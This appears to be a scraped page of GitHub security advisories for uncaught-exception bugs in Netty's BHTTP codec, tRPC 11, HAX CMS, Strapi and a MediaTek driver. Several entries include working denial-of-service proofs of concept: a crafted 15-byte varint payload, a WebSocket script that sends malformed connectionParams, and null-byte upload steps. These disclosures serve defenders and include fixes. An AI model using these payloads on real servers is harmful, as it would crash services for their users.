Before converting any protocol length to int, verify it is non-negative, no larger than Integer.MAX_VALUE, and no larger than available readable bytes and configured limits.
Replace sumBytes >= in.readableBytes() checks with precise checked arithmetic that permits exact-boundary complete fields but rejects impossible lengths.
Throw a controlled CorruptedFrameException / TooLongFrameException for invalid or unsupported lengths.
Add regression tests for 8-byte varint lengths at and above Integer.MAX_VALUE in request control data, response control data, known and indeterminate field sections, and field lines.

References

codec-bhttp/src/main/java/io/netty/incubator/codec/bhttp/BinaryHttpParser.java:386-402
codec-bhttp/src/main/java/io/netty/incubator/codec/bhttp/BinaryHttpParser.java:659-680
codec-bhttp/src/main/java/io/netty/incubator/codec/bhttp/BinaryHttpParser.java:544-553
RFC 9292: Binary Representation of HTTP Messages
RFC 9000 variable-length integer encoding

Severity

5.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.0.22.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty.incubator:netty-incubator-codec-bhttp"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.23.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-61799"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-190",
      "CWE-248",
      "CWE-681"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-20T18:43:21Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\n`io.netty.incubator:netty-incubator-codec-bhttp` uses attacker-controlled Binary HTTP variable-length integers as `long` values but accumulates them into `int` offsets. Large valid varint lengths wrap the internal offset negative, leading to unchecked `ArrayIndexOutOfBoundsException` / `IndexOutOfBoundsException` from a tiny malformed BHTTP payload. A remote peer can trigger connection-level denial of service in applications that expose `BinaryHttpParser` / `BinaryHttpDecoder` to untrusted input.\n\n## Details\n\nIn `codec-bhttp/src/main/java/io/netty/incubator/codec/bhttp/BinaryHttpParser.java`, several parser paths store cumulative byte offsets in `int sumBytes` and then add attacker-controlled `long` lengths using compound assignment. In Java, `int += long` narrows the result back to `int`, so a length such as `2^31` wraps `sumBytes` negative.\n\nPrimary request-control-data path:\n\n- `readRequestHead(...)` declares `int sumBytes = 0` at `BinaryHttpParser.java:386`.\n- It reads `methodLength` as a `long` at `BinaryHttpParser.java:394`.\n- It performs `sumBytes += methodLength` at `BinaryHttpParser.java:395`, narrowing the result to `int`.\n- If `methodLength` is `2^31`, `sumBytes` wraps negative and bypasses `if (sumBytes \u003e= in.readableBytes()) return null` at `BinaryHttpParser.java:396-398`.\n- The parser then computes `schemeLengthIdx = in.readerIndex() + sumBytes` and calls `in.getByte(schemeLengthIdx)` at `BinaryHttpParser.java:401-402`, producing a negative index exception.\n\nThe same pattern is present in header parsing:\n\n- `readFieldLine(...)` uses `int sumBytes` and adds `long nameLength` / `long valueLength` at `BinaryHttpParser.java:659-680`.\n- `valueLengthIdx = nameIdx + (int) nameLength` at `BinaryHttpParser.java:674` can also overflow.\n\n`getIndeterminateLength(...)` similarly uses `int sumBytes` and `long possibleTerminator` at `BinaryHttpParser.java:544-553`.\n\n## Proof of concept\n\nSafe local verification performed in this repository. After compiling `codec-bhttp`, the following minimal verifier uses a 15-byte payload:\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport io.netty.buffer.Unpooled;\nimport io.netty.incubator.codec.bhttp.BinaryHttpParser;\n\npublic final class VerifyBhttpOverflow {\n  public static void main(String[] args) {\n    byte[] payload = new byte[] {\n      0x00, (byte)0xc0, 0x00, 0x00, 0x00, (byte)0x80, 0x00, 0x00, 0x00,\n      0x47, 0x45, 0x54, 0x58, 0x58, 0x58\n    };\n    ByteBuf input = Unpooled.wrappedBuffer(payload);\n    try {\n      new BinaryHttpParser(8192).parse(input, false);\n      System.out.println(\"returned\");\n    } catch (Throwable t) {\n      System.out.println(t.getClass().getName());\n      System.out.println(t.getMessage());\n    }\n  }\n}\n```\n\nPayload interpretation:\n\n- `00`: known-length request frame indicator.\n- `c000000080000000`: valid 8-byte varint encoding of `0x80000000` (`2^31`) as the method length.\n- `474554585858`: a few dummy bytes so the parser proceeds far enough to compute the next index.\n\nObserved result:\n\n```text\njava.lang.ArrayIndexOutOfBoundsException\nIndex -2147483639 out of bounds for length 15\n```\n\nThe parser should reject the malformed/incomplete message with a controlled decoder exception or return `null` awaiting more bytes; it should not allow integer wraparound to reach unchecked buffer indexing.\n\n## Impact\n\nA remote peer can trigger an unchecked exception in the Binary HTTP decoder using a tiny payload. In typical Netty pipelines this closes or fails the affected channel. Depending on application-level exception handling, repeated payloads can cause sustained denial of service for exposed BHTTP endpoints. No memory corruption or information disclosure was observed because the failure occurs in Java/Netty bounds checks.\n\n## Suggested remediation\n\n- Use `long` for all cumulative byte counts derived from protocol lengths.\n- Before converting any protocol length to `int`, verify it is non-negative, no larger than `Integer.MAX_VALUE`, and no larger than available readable bytes and configured limits.\n- Replace `sumBytes \u003e= in.readableBytes()` checks with precise checked arithmetic that permits exact-boundary complete fields but rejects impossible lengths.\n- Throw a controlled `CorruptedFrameException` / `TooLongFrameException` for invalid or unsupported lengths.\n- Add regression tests for 8-byte varint lengths at and above `Integer.MAX_VALUE` in request control data, response control data, known and indeterminate field sections, and field lines.\n\n## References\n\n- `codec-bhttp/src/main/java/io/netty/incubator/codec/bhttp/BinaryHttpParser.java:386-402`\n- `codec-bhttp/src/main/java/io/netty/incubator/codec/bhttp/BinaryHttpParser.java:659-680`\n- `codec-bhttp/src/main/java/io/netty/incubator/codec/bhttp/BinaryHttpParser.java:544-553`\n- RFC 9292: Binary Representation of HTTP Messages\n- RFC 9000 variable-length integer encoding",
  "id": "GHSA-pgrf-4654-3gq8",
  "modified": "2026-08-20T18:43:21Z",
  "published": "2026-08-20T18:43:21Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty-incubator-codec-ohttp/security/advisories/GHSA-pgrf-4654-3gq8"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty-incubator-codec-ohttp"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty-incubator-codec-ohttp/releases/tag/netty-incubator-codec-parent-ohttp-0.0.23.Final"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "netty-incubator-codec-ohttp: Binary HTTP parser unchecked varint length overflow causes decoder crash"
}

GHSA-PJ3V-9CM8-GVJ8

Vulnerability from github – Published: 2025-04-24 16:03 – Updated: 2025-04-24 16:03

Summary

tRPC 11 WebSocket DoS Vulnerability

Details

Summary

An unhandled error is thrown when validating invalid connectionParams which crashes a tRPC WebSocket server. This allows any unauthenticated user to crash a tRPC 11 WebSocket server.

Details

Any tRPC 11 server with WebSocket enabled with a createContext method set is vulnerable. Here is an example:

https://github.com/user-attachments/assets/ce1b2d32-6103-4e54-8446-51535b293b05

I have a working reproduction here if you would like to test: https://github.com/lukechilds/trpc-vuln-reproduction

The connectionParams logic introduced in https://github.com/trpc/trpc/pull/5839 does not safely handle invalid connectionParams objects. During validation if the object does not match an expected shape an error will be thrown:

https://github.com/trpc/trpc/blob/8cef54eaf95d8abc8484fe1d454b6620eeb57f2f/packages/server/src/unstable-core-do-not-import/http/parseConnectionParams.ts#L27-L33

This is called during WebSocket connection setup inside createCtxPromise() here:

https://github.com/trpc/trpc/blob/8cef54eaf95d8abc8484fe1d454b6620eeb57f2f/packages/server/src/adapters/ws.ts#L435

createCtxPromise has handling to catch any errors and pass them up to the opts.onError handler:

https://github.com/trpc/trpc/blob/8cef54eaf95d8abc8484fe1d454b6620eeb57f2f/packages/server/src/adapters/ws.ts#L144-L173

However the error handler then rethrows the error:

https://github.com/trpc/trpc/blob/8cef54eaf95d8abc8484fe1d454b6620eeb57f2f/packages/server/src/adapters/ws.ts#L171

Since this is all triggered from the WebSocket message event there is no higher level error handling so this causes an uncaught exception and crashes the server process.

This means any tRPC 11 server with WebSockets enabled can be crashed by an attacker sending an invalid connectionParams object. It doesn't matter if the server doesn't make user of connectionParams, the connectionParams logic can be initiated by the client.

To fix this vulnerability tRPC should not rethrow the error after it's be handled. This patch fixes the vulnerability:

From 5747b1d11946f60268eb86c59784bd6f7eb50abd Mon Sep 17 00:00:00 2001
From: Luke Childs <lukechilds123@gmail.com>
Date: Sun, 20 Apr 2025 13:27:10 +0700
Subject: [PATCH] Don't throw already handled error

This error has already been handled so no need to re-throw. If we re-throw it will not be caught and will trigger an uncaught exception causing the entire server process to crash.
---
 packages/server/src/adapters/ws.ts | 2 --
 1 file changed, 2 deletions(-)

diff --git a/packages/server/src/adapters/ws.ts b/packages/server/src/adapters/ws.ts
index ad869affd..5a578b5cb 100644
--- a/packages/server/src/adapters/ws.ts
+++ b/packages/server/src/adapters/ws.ts
@@ -167,8 +167,6 @@ export function getWSConnectionHandler<TRouter extends AnyRouter>(
         (globalThis.setImmediate ?? globalThis.setTimeout)(() => {
           client.close();
         });
-
-        throw error;
       });
     }

--
2.48.1

PoC

This script will crash the target tRPC 11 server if WebSockets are enabled:

#!/usr/bin/env node

const TARGET = 'ws://localhost:3000'

// These malicious connection params will crash any tRPC v11.1.0 WebSocket server on validation
const MALICIOUS_CONNECTION_PARAMS = JSON.stringify({
  method: "connectionParams",
  data: { invalidConnectionParams: null },
});

// Open a connection to the target
const target = `${TARGET}?connectionParams=1`;
console.log(`Opening a WebSocket to ${target}`);
const socket = new WebSocket(target);

// Wait for the connection to be established
socket.addEventListener("open", () => {
  console.log("WebSocket established!");

  // Sends a message to the WebSocket server.
  console.log(`Sending malicious connectionParams`);
  socket.send(MALICIOUS_CONNECTION_PARAMS);
  console.log(`Done!`);
});

// Handle errors
socket.addEventListener("error", () => console.log("Error opening WebSocket"));

Complete PoC with vulnerable WebSocket server here: https://github.com/lukechilds/trpc-vuln-reproduction

Severity

8.7 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@trpc/server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "11.0.0"
            },
            {
              "fixed": "11.1.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-43855"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-248",
      "CWE-460"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-04-24T16:03:57Z",
    "nvd_published_at": "2025-04-24T14:15:59Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nAn unhandled error is thrown when validating invalid connectionParams which crashes a tRPC WebSocket server. This allows any unauthenticated user to crash a tRPC 11 WebSocket server.\n\n### Details\nAny tRPC 11 server with WebSocket enabled with a `createContext` method set is vulnerable. Here is an example:\n\nhttps://github.com/user-attachments/assets/ce1b2d32-6103-4e54-8446-51535b293b05\n\nI have a working reproduction here if you would like to test: https://github.com/lukechilds/trpc-vuln-reproduction\n\nThe connectionParams logic introduced in https://github.com/trpc/trpc/pull/5839 does not safely handle invalid connectionParams objects. During validation if the object does not match an expected shape an error will be thrown:\n\nhttps://github.com/trpc/trpc/blob/8cef54eaf95d8abc8484fe1d454b6620eeb57f2f/packages/server/src/unstable-core-do-not-import/http/parseConnectionParams.ts#L27-L33\n\nThis is called during WebSocket connection setup inside `createCtxPromise()` here:\n\nhttps://github.com/trpc/trpc/blob/8cef54eaf95d8abc8484fe1d454b6620eeb57f2f/packages/server/src/adapters/ws.ts#L435\n\n`createCtxPromise` has handling to catch any errors and pass them up to the `opts.onError` handler:\n\nhttps://github.com/trpc/trpc/blob/8cef54eaf95d8abc8484fe1d454b6620eeb57f2f/packages/server/src/adapters/ws.ts#L144-L173\n\nHowever the error handler then rethrows the error:\n\nhttps://github.com/trpc/trpc/blob/8cef54eaf95d8abc8484fe1d454b6620eeb57f2f/packages/server/src/adapters/ws.ts#L171\n\nSince this is all triggered from the WebSocket `message` event there is no higher level error handling so this causes an uncaught exception and crashes the server process.\n\nThis means any tRPC 11 server with WebSockets enabled can be crashed by an attacker sending an invalid connectionParams object. It doesn\u0027t matter if the server doesn\u0027t make user of connectionParams, the connectionParams logic can be initiated by the client.\n\nTo fix this vulnerability tRPC should not rethrow the error after it\u0027s be handled. This patch fixes the vulnerability:\n\n```patch\nFrom 5747b1d11946f60268eb86c59784bd6f7eb50abd Mon Sep 17 00:00:00 2001\nFrom: Luke Childs \u003clukechilds123@gmail.com\u003e\nDate: Sun, 20 Apr 2025 13:27:10 +0700\nSubject: [PATCH] Don\u0027t throw already handled error\n\nThis error has already been handled so no need to re-throw. If we re-throw it will not be caught and will trigger an uncaught exception causing the entire server process to crash.\n---\n packages/server/src/adapters/ws.ts | 2 --\n 1 file changed, 2 deletions(-)\n\ndiff --git a/packages/server/src/adapters/ws.ts b/packages/server/src/adapters/ws.ts\nindex ad869affd..5a578b5cb 100644\n--- a/packages/server/src/adapters/ws.ts\n+++ b/packages/server/src/adapters/ws.ts\n@@ -167,8 +167,6 @@ export function getWSConnectionHandler\u003cTRouter extends AnyRouter\u003e(\n         (globalThis.setImmediate ?? globalThis.setTimeout)(() =\u003e {\n           client.close();\n         });\n-\n-        throw error;\n       });\n     }\n\n--\n2.48.1\n\n```\n\n## PoC\n\nThis script will crash the target tRPC 11 server if WebSockets are enabled:\n\n```js\n#!/usr/bin/env node\n\nconst TARGET = \u0027ws://localhost:3000\u0027\n\n// These malicious connection params will crash any tRPC v11.1.0 WebSocket server on validation\nconst MALICIOUS_CONNECTION_PARAMS = JSON.stringify({\n  method: \"connectionParams\",\n  data: { invalidConnectionParams: null },\n});\n\n// Open a connection to the target\nconst target = `${TARGET}?connectionParams=1`;\nconsole.log(`Opening a WebSocket to ${target}`);\nconst socket = new WebSocket(target);\n\n// Wait for the connection to be established\nsocket.addEventListener(\"open\", () =\u003e {\n  console.log(\"WebSocket established!\");\n\n  // Sends a message to the WebSocket server.\n  console.log(`Sending malicious connectionParams`);\n  socket.send(MALICIOUS_CONNECTION_PARAMS);\n  console.log(`Done!`);\n});\n\n// Handle errors\nsocket.addEventListener(\"error\", () =\u003e console.log(\"Error opening WebSocket\"));\n```\n\nComplete PoC with vulnerable WebSocket server here: https://github.com/lukechilds/trpc-vuln-reproduction",
  "id": "GHSA-pj3v-9cm8-gvj8",
  "modified": "2025-04-24T16:03:58Z",
  "published": "2025-04-24T16:03:57Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/trpc/trpc/security/advisories/GHSA-pj3v-9cm8-gvj8"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-43855"
    },
    {
      "type": "WEB",
      "url": "https://github.com/trpc/trpc/pull/5839"
    },
    {
      "type": "WEB",
      "url": "https://github.com/trpc/trpc/commit/9beb26c636d44852e0f407f3d7a82ad54df65b4d"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/trpc/trpc"
    },
    {
      "type": "WEB",
      "url": "https://github.com/trpc/trpc/blob/8cef54eaf95d8abc8484fe1d454b6620eeb57f2f/packages/server/src/adapters/ws.ts#L171"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "tRPC 11 WebSocket DoS Vulnerability"
}

GHSA-PJ6J-M62J-7V7V

Vulnerability from github – Published: 2023-03-07 21:30 – Updated: 2023-03-13 06:30

Details

In thermal, there is a possible memory corruption due to an uncaught exception. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation. Patch ID: ALPS07494460; Issue ID: ALPS07494460.

Severity

6.7 (Medium)


                  
                    CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2023-20628"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-248"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-03-07T21:15:00Z",
    "severity": "MODERATE"
  },
  "details": "In thermal, there is a possible memory corruption due to an uncaught exception. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation. Patch ID: ALPS07494460; Issue ID: ALPS07494460.",
  "id": "GHSA-pj6j-m62j-7v7v",
  "modified": "2023-03-13T06:30:25Z",
  "published": "2023-03-07T21:30:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-20628"
    },
    {
      "type": "WEB",
      "url": "https://corp.mediatek.com/product-security-bulletin/March-2023"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-PJJ3-J5J6-QJ27

Vulnerability from github – Published: 2025-07-21 19:52 – Updated: 2025-07-21 22:21

Summary

HAX CMS NodeJS Application Has Improper Error Handling That Leads to Denial of Service

Details

Summary

The HAX CMS NodeJS application crashes when an authenticated attacker provides an API request lacking required URL parameters. This vulnerability affects the listFiles and saveFiles endpoints.

Details

This vulnerability exists because the application does not properly handle exceptions which occur as a result of changes to user-modifiable URL parameters.

Affected Resources

• listFiles.js:22 listFiles() • saveFile.js:52 saveFile() • system/api/listFiles • system/api/saveFile

PoC

Targeting an instance of instance of HAX CMS NodeJS, send a request without parameters to listFiles or saveFiles. The following screenshot shows the request in Burp Suite.
The server will crash with ERR_INVALID_ARG_TYPE.

Impact

An authenticated attacker can deny access to the HAX CMS NodeJS application by crashing the backend server. This prevents all users from accessing the backend system. If the backend system is hosting websites, those websites will be unavailable.

Severity

7.1 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@haxtheweb/haxcms-nodejs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "11.0.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-54134"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-248",
      "CWE-703"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-07-21T19:52:53Z",
    "nvd_published_at": "2025-07-21T21:15:26Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nThe HAX CMS NodeJS application crashes when an authenticated attacker provides an API request lacking required URL parameters. This vulnerability affects the `listFiles` and `saveFiles` endpoints.\n\n### Details\nThis vulnerability exists because the application does not properly handle exceptions which occur as a result of changes to user-modifiable URL parameters.\n\n#### Affected Resources\n\u2022 [listFiles.js:22](https://github.com/haxtheweb/haxcms-nodejs/blob/main/src/routes/listFiles.js#L22) listFiles()\n\u2022 [saveFile.js:52](https://github.com/haxtheweb/haxcms-nodejs/blob/main/src/routes/saveFile.js#L52) saveFile()\n\u2022 system/api/listFiles\n\u2022 system/api/saveFile\n\n### PoC\n1. Targeting an instance of instance of [HAX CMS NodeJS](https://github.com/haxtheweb/haxcms-nodejs), send a request without parameters to `listFiles` or `saveFiles`. The following screenshot shows the request in Burp Suite.\n![listfilesrequest](https://github.com/user-attachments/assets/477ea4e0-5707-4948-b53c-7f042a0475fb)\n\n2. The server will crash with `ERR_INVALID_ARG_TYPE`.\n![listfilescrash](https://github.com/user-attachments/assets/85424c12-1619-41d3-9bf5-9e029cdaa8c1)\n\n### Impact\nAn authenticated attacker can deny access to the HAX CMS NodeJS application by crashing the backend server. This prevents all users from accessing the backend system. If the backend system is hosting websites, those websites will be unavailable.",
  "id": "GHSA-pjj3-j5j6-qj27",
  "modified": "2025-07-21T22:21:29Z",
  "published": "2025-07-21T19:52:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/haxtheweb/issues/security/advisories/GHSA-pjj3-j5j6-qj27"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54134"
    },
    {
      "type": "WEB",
      "url": "https://github.com/haxtheweb/haxcms-nodejs/commit/e9773d1996233f9bafb06832b8220ec2a98bab34"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/haxtheweb/haxcms-nodejs"
    },
    {
      "type": "WEB",
      "url": "https://github.com/haxtheweb/haxcms-nodejs/blob/main/src/routes/listFiles.js#L22"
    },
    {
      "type": "WEB",
      "url": "https://github.com/haxtheweb/haxcms-nodejs/blob/main/src/routes/saveFile.js#L52"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "HAX CMS NodeJS Application Has Improper Error Handling That Leads to Denial of Service"
}

GHSA-PM9Q-XJ9P-96PM

Vulnerability from github – Published: 2024-06-12 19:38 – Updated: 2024-06-12 19:38

Summary

@strapi/plugin-upload has a Denial-of-Service via Improper Exception Handling

Details

Summary

A Denial-of-Service was found in the media upload process causing the server to crash without restarting, affecting either development and production environments.

Details

Usually, errors in the application cause it to log the error and keep it running for other clients. This behavior, in contrast, stops the server execution, making it unavailable for any clients until it's manually restarted.

PoC

Due to a bug in what we believe to be Burp’s decoding system, we couldn’t produce a valid file to easily reproduce the vulnerability. Instead, the issue can be reproduced by following these steps: 1. Configure Burp’s proxy between a browser and a Strapi server 2. Log in and upload an image through the Media Library page while having Burp’s interceptor turned on 3. After capturing the upload POST request in Burp, add %00 at the end of the file extension from the Content-Disposition, in the filename parameter (See reference image 1 below) 4. Using the cursor, select the added %00 and right-click it. Click in Convert selection > URL > URL decode to transform the selected text into a null byte 5. Forward the modified request. The server should print an error and crash with the error ERR_INVALID_ARG_VALUE (See reference log 1 below)

By following the data flow, we reached the line of code where we believe the DoS is being caused. The simpler way of fixing this vulnerability seems to be avoiding the error thrown by whitelisting the characters used in the extension.

Reference Image 1

Reference Log 1

[2024-03-22 10:23:42.629] http: POST /upload (22 ms) 400
node:internal/fs/utils:379
  const err = new ERR_INVALID_ARG_VALUE(
              ^

TypeError [ERR_INVALID_ARG_VALUE]: The argument 'path' must be a string, Uint8Array, or URL without null bytes. Received '/mnt/storage/Development/GHSA-pm9q-xj9p-96pm/public/uploads/replaceme_png_88efe6a165.png\x00'
    at new WriteStream (node:internal/fs/streams:340:5)
    at Object.createWriteStream (node:fs:3123:10)
    at /mnt/storage/Development/GHSA-pm9q-xj9p-96pm/node_modules/@strapi/provider-upload-local/dist/index.js:71:33
    at new Promise (<anonymous>)
    at Object.uploadStream (/mnt/storage/Development/GHSA-pm9q-xj9p-96pm/node_modules/@strapi/provider-upload-local/dist/index.js:68:16)
    at Object.uploadStream (/mnt/storage/Development/GHSA-pm9q-xj9p-96pm/node_modules/@strapi/plugin-upload/server/register.js:80:35)
    at Object.upload (/mnt/storage/Development/GHSA-pm9q-xj9p-96pm/node_modules/@strapi/plugin-upload/server/services/provider.js:16:46)
    at Object.uploadImage (/mnt/storage/Development/GHSA-pm9q-xj9p-96pm/node_modules/@strapi/plugin-upload/server/services/upload.js:220:48) {
  code: 'ERR_INVALID_ARG_VALUE'
}

Impact

Denial-of-Service occurs when a service becomes unavailable for users or other services. By sending a specially-crafted request, the server crashes without restarting. The entire server crashes with the thrown error instead of crashing only the single request and returning error 500 to the user. Any user with access to the file upload functionality is able to exploit this vulnerability, affecting applications running in both development mode and production mode as well.

Severity

5.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@strapi/plugin-upload"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.22.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-31217"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-248"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-06-12T19:38:24Z",
    "nvd_published_at": "2024-06-12T15:15:51Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nA Denial-of-Service was found in the media upload process causing the server to crash without restarting, affecting either development and production environments.\n\n### Details\nUsually, errors in the application cause it to log the error and keep it running for other clients. This behavior, in contrast, stops the server execution, making it unavailable for any clients until it\u0027s manually restarted. \n\n### PoC\nDue to a bug in what we believe to be Burp\u2019s decoding system, we couldn\u2019t produce a valid file to easily reproduce the vulnerability. Instead, the issue can be reproduced by following these steps:\n1. Configure Burp\u2019s proxy between a browser and a Strapi server\n2. Log in and upload an image through the Media Library page while having Burp\u2019s interceptor turned on\n3. After capturing the upload POST request in Burp, add `%00` at the end of the file extension from the `Content-Disposition`, in the filename parameter (See reference image 1 below)\n4. Using the cursor, select the added `%00` and right-click it. Click in Convert selection \u003e URL \u003e URL decode to transform the selected text into a null byte\n5. Forward the modified request. The server should print an error and crash with the error `ERR_INVALID_ARG_VALUE` (See reference log 1 below)\n\nBy following the data flow, we reached the [line of code](https://github.com/strapi/strapi/blob/f1dd5cc8eef574bac6679aab6f93276e57497328/packages/providers/upload-local/src/index.ts#L86) where we believe the DoS is being caused.\nThe simpler way of fixing this vulnerability seems to be avoiding the error thrown by whitelisting the characters used in the extension.\n\n#### Reference Image 1\n![image](https://github.com/strapi/strapi/assets/8593673/c95278a1-1727-485e-b6f8-276074d9dd42)\n\n#### Reference Log 1\n```\n[2024-03-22 10:23:42.629] http: POST /upload (22 ms) 400\nnode:internal/fs/utils:379\n  const err = new ERR_INVALID_ARG_VALUE(\n              ^\n\nTypeError [ERR_INVALID_ARG_VALUE]: The argument \u0027path\u0027 must be a string, Uint8Array, or URL without null bytes. Received \u0027/mnt/storage/Development/GHSA-pm9q-xj9p-96pm/public/uploads/replaceme_png_88efe6a165.png\\x00\u0027\n    at new WriteStream (node:internal/fs/streams:340:5)\n    at Object.createWriteStream (node:fs:3123:10)\n    at /mnt/storage/Development/GHSA-pm9q-xj9p-96pm/node_modules/@strapi/provider-upload-local/dist/index.js:71:33\n    at new Promise (\u003canonymous\u003e)\n    at Object.uploadStream (/mnt/storage/Development/GHSA-pm9q-xj9p-96pm/node_modules/@strapi/provider-upload-local/dist/index.js:68:16)\n    at Object.uploadStream (/mnt/storage/Development/GHSA-pm9q-xj9p-96pm/node_modules/@strapi/plugin-upload/server/register.js:80:35)\n    at Object.upload (/mnt/storage/Development/GHSA-pm9q-xj9p-96pm/node_modules/@strapi/plugin-upload/server/services/provider.js:16:46)\n    at Object.uploadImage (/mnt/storage/Development/GHSA-pm9q-xj9p-96pm/node_modules/@strapi/plugin-upload/server/services/upload.js:220:48) {\n  code: \u0027ERR_INVALID_ARG_VALUE\u0027\n}\n```\n\n### Impact\nDenial-of-Service occurs when a service becomes unavailable for users or other services.\nBy sending a specially-crafted request, the server crashes without restarting. The entire server crashes with the thrown error instead of crashing only the single request and returning error 500 to the user.\nAny user with access to the file upload functionality is able to exploit this vulnerability, affecting applications running in both development mode and production mode as well.\n",
  "id": "GHSA-pm9q-xj9p-96pm",
  "modified": "2024-06-12T19:38:24Z",
  "published": "2024-06-12T19:38:24Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/strapi/strapi/security/advisories/GHSA-pm9q-xj9p-96pm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-31217"
    },
    {
      "type": "WEB",
      "url": "https://github.com/strapi/strapi/commit/a0da7e73e1496d835fe71a2febb14f70170135c7"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/strapi/strapi"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "@strapi/plugin-upload  has a Denial-of-Service via Improper Exception Handling"
}

CWE-248

Uncaught Exception

Summary

Details

PoC

Impact

Fix

Summary

Root Cause

Impact

Proof of Concept

Attack Chain

Bypass Evidence

Affected Versions

Dedup

Suggested Fix

Impact

Patches

Workarounds

References

For more information

Impact

Patches

Workarounds

Reported by

Summary

Details

Proof of concept

Impact

Suggested remediation

References

Summary

Details

PoC

Summary

Details

Affected Resources

PoC

Impact

Summary

Details

PoC

Reference Image 1

Reference Log 1

Impact